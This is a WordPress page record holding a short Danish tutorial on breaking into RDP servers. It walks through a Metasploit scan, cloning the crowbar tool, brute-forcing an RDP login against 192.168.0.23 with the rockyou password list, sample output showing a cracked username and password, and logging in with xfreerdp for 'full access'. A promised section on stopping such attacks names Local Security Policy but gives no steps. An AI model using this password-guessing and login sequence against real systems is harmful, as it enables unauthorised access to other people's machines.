{"id":23059,"date":"2021-02-11T16:14:59","date_gmt":"2021-02-11T15:14:59","guid":{"rendered":"https:\/\/www.linuxboxen.dk\/?page_id=23059"},"modified":"2021-02-11T16:14:59","modified_gmt":"2021-02-11T15:14:59","slug":"hacking-paa-rdp-server","status":"publish","type":"page","link":"https:\/\/www.linuxboxen.dk\/?page_id=23059","title":{"rendered":"Hacking p\u00e5 rdp server."},"content":{"rendered":"

\"\"<\/p>\n

Hacking rdp er blevet meget nemt.<\/p>\n

Du skal bruge en kali samt lidt tools.<\/p>\n

 <\/p>\n

msf6 > show options<\/p>\n

msf6 > Set RHOST 192.168.0.23<\/p>\n

RHOST => 192.168.0.23<\/p>\n

exploit<\/p>\n

Du kan nu se listen over hvilken ip som er \u00e5ben for rdp.<\/p>\n

exit<\/p>\n

Du skal ogs\u00e5 bruge crowbar fra github.<\/p>\n

cd git<\/p>\n

git clone https:\/\/github.com\/galkan\/crowbar<\/p>\n

cd crowbar<\/p>\n

.\/crowbar.py -h<\/p>\n

Som jeg viser her bruger vi 192.168.0.23 som attack ip. Protocol er rdp (remote desktop). Bruger navn er brugernavn og den sidste parametre er til password filen som skal bruges. Du vil nu f\u00e5 en liste over hvilken maskiner som det er muligt at tilg\u00e5, og du kan til g\u00e5 den med xfreerdp eksempelvis hvis du er p\u00e5 en Linux maskine.<\/p>\n

$ .\/crowbar.py --server 192.168.0.23\/32\u00a0 -b rdp -u brugernavn -C \/usr\/share\/wordlists\/rockyou.txt\n2021-02-10 23:34:50 START\n2021-02-10 23:34:50 Crowbar v0.4.3-dev\n2021-02-10 23:34:52 Trying 192.168.0.23:3389\n2021-02-10 23:34:54 RDP-SUCCESS : 192.168.0.23:3389 - brugernavn:mitkodeord<\/pre>\n
Hvis du manger password filen kan du installere den som vist her.<\/p>\n
$ sudo apt-get install wordlists<\/pre>\n
 <\/p>\n
For at lave remove desktop til maskinen kan du bruge xfreerdp. Den installeres ogs\u00e5 nemt med en apt install.<\/p>\n
$ sudo apt install xfreerdp<\/pre>\n
For at starte remove desktop op skal du bruge de parametre som du fik at skanningen.<\/p>\n
$ sudo xfreerdp \/u:brugernavn \/p:mitkodeord \/v:192.168.0.23<\/pre>\n
Hvis den ikke er installeret kan du nemt installere den med apt som vist her.<\/p>\n
$ sudo apt install freerdp2-x11\n\n$ sudo xfreerdp \/u:brugernavn \/p:mitkodeord \/v:192.168.0.23<\/pre>\n
Du har nu fuld adgang med remote desktop til maskinen.<\/p>\n
 <\/p>\n
For at stoppe den slags attack kan du g\u00f8re f\u00f8lgende i Windows.<\/p>\n
Start programmet Local Security Policy<\/p>\n
<\/pre>\n
 <\/p>\n
<\/div>\n
<\/path><\/svg><\/i> \"Loading\"<\/p>\n
<\/div>\n","protected":false},"excerpt":{"rendered":"
Hacking rdp er blevet meget nemt. Du skal bruge en kali samt lidt tools.   msf6 > show options msf6 > Set RHOST 192.168.0.23 RHOST => 192.168.0.23 exploit Du kan nu se listen over hvilken ip som er \u00e5ben for rdp. exit Du skal ogs\u00e5 bruge crowbar fra github. cd git git clone https:\/\/github.com\/galkan\/crowbar cd […]<\/p>\n
<\/div>\n
<\/path><\/svg><\/i> \"Loading\"<\/p>\n
<\/div>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_sitemap_exclude":false,"_sitemap_priority":"","_sitemap_frequency":"","footnotes":""},"class_list":["post-23059","page","type-page","status-publish","hentry"],"a3_pvc":{"activated":true,"total_views":37,"today_views":0},"_links":{"self":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/pages\/23059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23059"}],"version-history":[{"count":0,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/pages\/23059\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}